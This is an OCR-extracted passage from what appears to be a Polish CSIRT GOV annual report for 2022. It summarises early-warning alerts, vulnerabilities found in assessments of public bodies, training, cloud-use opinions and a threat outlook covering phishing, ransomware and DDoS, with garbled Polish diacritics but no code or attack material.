Phisher, przesytanych jako zatgczniki do poczty elektronicznej w postaci plikéw HTML/HTM, za-
wierajacych zaobfuskowany kod JavaScript.



Podsumowujac dziatanie systemu wczesnego ostrzegania o zagrozeniach ARAKIS GOV
nalezy wskazac, ze zdecydowana przewaga odnotowanych alarmow to skanowanie, a nastepnie
komunikacja z adresami IP i domenami uznanymi za ztoSliwe lub mogace stanowi¢ zagrozenie.
Ponadto, wigkszos$¢ odnotowanej przez ARAKIS GOV komunikaciji pochodzita z adresacji przypisa-
nej do USA i Federacji Rosyjskiej.

Zespot CSIRT GOV, realizujac dziatania okreslone w 32a Ustawy z dnia 24 maja 2002 .
o Agencji Bezpieczenstwa Wewnetrznego oraz Agencji Wywiadu w roku 2022 dokonat planowej
oceny bezpieczenstwa systemow teleinformatycznych wykorzystywanych przez 16 podmiotdw ad-
ministracji publicznej oraz nalezacych do infrastruktury krytycznej. W ramach realizacji przed-
miotowego przedsiewziecia mozliwa byta identyfikacja szeregu podatnosci, do ktdrych zaliczono
przede wszystkim:

= wykorzystywanie nieaktualizowanych badz niewspieranych wersji oprogramowania,
= funkcjonowanie ustug lub protokotdw podatnych na ataki,

= btedng konfiguracje ustug,

= zagrozenia zwigzane z niskim poziomem uwierzytelniania uzytkownikow.

Bioragc pod uwage konieczno$¢ statego podnoszenia kompetencji kadr odpowiedzialnych
za cyberbezpieczenstwo RP, a w szczegdlnosci jej najbardziej wrazliwych elementdw, cztonkowie
Zespotu CSIRT GOV brali ponadto udziat w szeregu szkolen specjalistycznych, a takze cwicze-
niach miedzynarodowych dajacych okazje do zapoznania sie z najnowszymi narzedziami prze-
ciwdziatania stale ewoluujgcym zagrozeniom w przestrzeni cyfrowej. Uczestnictwo w tego rodza-
ju wydarzeniach pozwolito jednoczesnie na zaciesnienie kontaktow oraz wymiane doswiadczen
pozwalajacych na bardziej skoordynowang i efektywniejsza obstuge incydentéw bezpieczenstwa
W przysztosci.

Kolejng dziedzing aktywnosci Zespotu CSIRT GOV w 2022 r. byto wreszcie uczestnictwo
w procesie opiniowania mozliwosci zastosowania przez podmioty administracji publicznej roz-
wigzan chmurowych. Koniecznos¢ coraz powszechniejszego zastosowania chmur obliczeniowych
w procesach realizowanych przez podmioty publiczne wynika m.in. ze zmiany sposobu Swiadcze-
nia ustug przez dostawcow ustug informatycznych (np. w zakresie bezpieczenstwa, zarzadza-
nia procesami, przetwarzania danych), wyzwan stawianych przez spoteczenstwo informatyczne,
a takze wymagan dotyczacych optymalizaciji i ekonomiki funkcjonowania administracji panstwo-
wej.
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W przedmiotowym zakresie rolg CSIRT GOV byta ocena mozliwosci zastosowania przetwa-
rzania chmurowego przez poszczegolne instytucje, a takze wskazanie mozliwego do zastosowania
modelu, przy szczegolnym uwzglednieniu specyfiki podmiotu oraz rodzaju Swiadczonych przezen
ustug, rodzaju i poziomu wrazliwosci agregowanych danych, wymaganego poziomu cyberbezpie-
czenstwa, a takze zidentyfikowanych w toku analizy ryzyk.

Na podstawie analizy przeprowadzonej w oparciu o wzmiankowane kryteria Zespot CSIRT
GOV wydawat opinie odnosnie dopuszczalnosci wykorzystania ustug chmurowych dla wskaza-
nych przez podmioty systemow teleinformatycznych. Jednoczesnie dystrybuowano rekomendacje
w zakresie kryteriow oraz sposobow dokonywania wtasciwej analizy bezpieczenstwa i wyboru
ustug chmurowych. CSIRT GOV wskazywat takze narzedzia pozwalajgce na efektywna realizacje
tego procesu (m. in. standardy SCCO, System Zapewnienia Ustug Chmurowych - ZUCH).

Podsumowujac obszar zagrozen w roku 2022 nalezy zwrdci¢ przede wszystkim uwage na
ciggle utrzymujaca sie perspektywe duzego ryzyka wystepowania zagrozen podyktowanych kon-
fliktem zbrojnym w Ukrainie. Zagrozenia te w duzej mierze bazujg na przygotowywaniu kolejnych
odston kampanii phishingowych dostosowujac arsenat srodkow cyberofensywnych celem eks-
ploitacji systemow i sieci teleinformatycznych. Dodatkowo nalezy liczy¢ sig z ciggtymi zagroze-
niami dla ustug dostepnych w sieci Internet w zakresie prdb eksploatacji znanych podatnosci, jak
rowniez podatnosci ujawnianych na biezaco, zwtaszcza typu 0-day. Brak stosownych aktualizacji
Srodowiska teleinformatycznego oznacza kazdorazowo duze ryzyko przetamania zabezpieczen
i utraty danych w postaci ich eksfiltracji jak rowniez zaszyfrowania narzedziami ransomware.
Nalezy takze uwzgledniac ryzyka atakow DDoS, zwigzanych zwtaszcza z dziataniami grup hakty-
wistycznych, oraz stosownie je mitygowa¢ w ramach wspotpracy z operatorami telekomunikacyj-
nymi, a takze poprzez stosowanie dedykowanych rozwigzan antyDDoS.

Tym samym wazne jest biezace analizowanie przez podmioty administracji panstwowej,
operatorow infrastruktury krytycznej, czy operatorow ustug kluczowych srodowiska bezpieczen-
stwa, znajdowanie stabych punktow w infrastrukturze oraz ich eliminacja. Kazdy incydent powinien
by¢ przeanalizowany pod katem przyczyny jego materializacji, a wnioski z analizy powinny kazdo-
razowo postuzy¢ do zmian w ramach stosowanych srodkéw bezpieczenstwa teleinformatycznego
lub stosownych procedur. Nieodzowny element bezpieczenstwa stanowi wreszcie czynnik ludzki.
Uzytkownicy systemdw muszg byc stale edukowani i uswiadamiani w zakresie biezacych zagrozen
w cyberprzestrzeni RP.
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